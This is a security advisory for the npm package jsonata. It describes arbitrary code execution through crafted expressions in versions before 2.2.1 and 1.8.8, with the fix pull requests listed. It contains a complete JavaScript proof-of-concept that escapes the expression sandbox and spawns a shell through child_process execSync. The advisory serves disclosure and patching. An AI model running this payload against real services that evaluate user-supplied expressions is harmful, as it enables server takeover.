GHSA-66mm-25pp-rfff JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

• npm jsonata: >= 2.0.0, < 2.2.1 → fixed in 2.2.1 • npm jsonata: < 1.8.8 → fixed in 1.8.8

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to: • overwriting `$clone` allowing mutation of objects via transforms (see `evaluateTransformExpression`) • it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`) • applyProcedure using `proc.arguments.forEach` and not `Array.prototype.forEach` Which could be chained to execute arbitrary code. This was fixed with: • https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673) • https://github.com/jsonata-js/jsonata/pull/800 • https://github.com/jsonata-js/jsonata/pull/802 Which are included in the `2.2.1` release. Fixes were then back-ported to the `1.8.8` release. PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.*)[1]; $fn := function($a) { ( $a({"value":"lg"},"__lookupGetter__"); $a({"value":"x"},"x"); ) }; $nop := function() { $ }; $capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | }; $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|; $func := $m([$,{"_jsonata_lambda":true}]); $func(); $gP := $obj.lg("__proto__"); $afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()}; ) `); await expression.evaluate({}); ``` References • https://github.com/jsonata-js/jsonata/pull/799 • https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673 • https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de • https://github.com/jsonata-js/jsonata/pull/800 • https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc • https://github.com/jsonata-js/jsonata/pull/802 • https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04